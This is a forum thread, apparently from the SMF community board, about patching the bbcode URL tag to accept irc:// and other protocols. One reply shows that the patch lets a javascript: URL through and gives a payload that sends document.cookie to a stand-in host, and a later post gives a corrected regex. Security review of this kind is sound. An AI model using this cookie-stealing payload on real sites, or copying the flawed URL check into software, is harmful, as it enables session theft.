irc:// and other protocols

Started by jitspoe, February 22, 2005, 12:42:21 PM

Previous topic - Next topic

jitspoe

I tried to make an irc link, but it just changed irc://... to http://irc://...
Example: #paintball on irc.enterthegame.com.  Is there a reason for this (security?) or can I just make it work with *://?

jitspoe

#1
Ok, so it wasn't as easy as just making a quick change to a regex...  In fact, that part of the code doesn't even use regex... or didn't.  :)

I know this is a pretty ugly hack, but...
array('tag' => 'url', 'protocol' => 'http', 'embeddedUrl' => true, 'hasEqualSign' => false),
// [url=http://...]name[/url]
array('tag' => 'url', 'protocol' => 'http', 'embeddedUrl' => true, 'hasEqualSign' => true),

to
array('tag' => 'url', 'protocol' => 'http|https|ftp|fpts|irc|paintball2', 'embeddedUrl' => true, 'hasEqualSign' => false),
// [url=http://...]name[/url]
array('tag' => 'url', 'protocol' => 'http|https|ftp|fpts|irc|paintball2', 'embeddedUrl' => true, 'hasEqualSign' => true),
etc.

Then:
if (!stristr($replace, $protocol . '://'))
{
if ($protocol != 'http' || !stristr($replace, 'https://'))
$replace = $protocol . '://' . $replace;
else
$replace = stristr($replace, 'https://');
}
else
$replace = stristr($replace, $protocol . '://');

to
if (!preg_match('/('.$protocol.'):\/\//i', $replace)) // jit
{
if ($protocol != 'http' || !stristr($replace, 'https://'))
{
$temp = explode('|', $protocol);
$replace = $temp[0] . '://' . $replace;
}
else
$replace = stristr($replace, 'https://');
}
else
$replace = preg_replace('/.*?('.$protocol.'):\/\/(.*)/i', '$1://$2', $replace);


Meh... it works, I think.

Louis (CSpotkill)

#2
Probably would have been 10x easier to just make a quick [irc] bbcode like the [ftp] one ;)

You could even make it more advanced, like [irc=server]#channel[/irc] - and maybe borrow mIRC's ini file and automatically change something like [irc=gamesurge]#channel[/irc] to the proper irc.gamesurge.net  And then you could automate the presentation for the link, maybe even include a link to some help page for mIRC.

Mmmm. I'm beginning to like this idea :)
My SMF Mods:

jitspoe

An [irc] tag certainly isn't a bad idea, but it seems like a bit of a pain to create a new tag for each and every protocol you want to support.  They're all url's right?  Why shouldn't the url tag support them all? :)

(Reply now in the proper thread).

Louis (CSpotkill)

#4
Because this way you can use something like the following:

[url]www.google.ca[/url]

And it will link to http://www.google.ca instead of http://www.simplemachines.org/community/www.google.ca :P
My SMF Mods:

[Unknown]

Quote from: jitspoe on March 11, 2005, 01:34:46 AM
Meh... it works, I think.

You've inadvertently introduced a security hole with that code...

I would also recommend just adding a irc, like ftp and flash are done.

-[Unknown]

NightOwl

excuse me, seems louis' signature is getting of the his post.

Louis (CSpotkill)

#7
I've made an IRC Tag mod, but I'm having trouble with the Mod site. I'll post it ASAP though.

Edit: Now posted at http://www.simplemachines.org/community/index.php?topic=30930.0
My SMF Mods:

jitspoe

Quote from: Louis (CSpotkill) on March 15, 2005, 10:01:33 PM
Because this way you can use something like the following:

[url]www.google.ca[/url]

And it will link to http://www.google.ca instead of http://www.simplemachines.org/community/www.google.ca :P
Eh? I just tried it with my changes and it became http://www.google.ca/ ...

[Unknown]: what security hole did I introduce?

[Unknown]

This:

preg_match('/('.$protocol.'):\/\//i', $replace)

Means that "http://" has to appear anywhere within the URL.  Here's an example URL that matches that criteria:

javascript:var i=new Image();i.src='http://www.hackerworld.com/collect.php?'+document.cookie;/*http://*/

-[Unknown]

Louis (CSpotkill)

I've now posted my IRC Tag SMF mod at http://www.simplemachines.org/community/index.php?topic=30930.0

All I did was add two lines (and an extra file for the server-alias-to-URL conversion)
My SMF Mods:

jitspoe

Ahh, shoot.  Good eye, [Unknown].  I did that kinda quick and saw the "if (!stristr..." in the original code and didn't think I was changing the meaning of it much, but it does another stristr to get the final replace string.  Here's a regex that fixes it:
Was:
$replace = preg_replace('/('.$protocol.'):\/\/(.*)/i', '$1://$2', $replace);
Now:
$replace = preg_replace('/.*?('.$protocol.'):\/\/(.*)/i', '$1://$2', $replace);
Fortunately the quotes (both single and double) get translated, so it would be hard to make the javascript do much, but the fact that you can even put it in leads to potential issues.  Fixed.  Thanks for pointing it out. :)

Advertisement: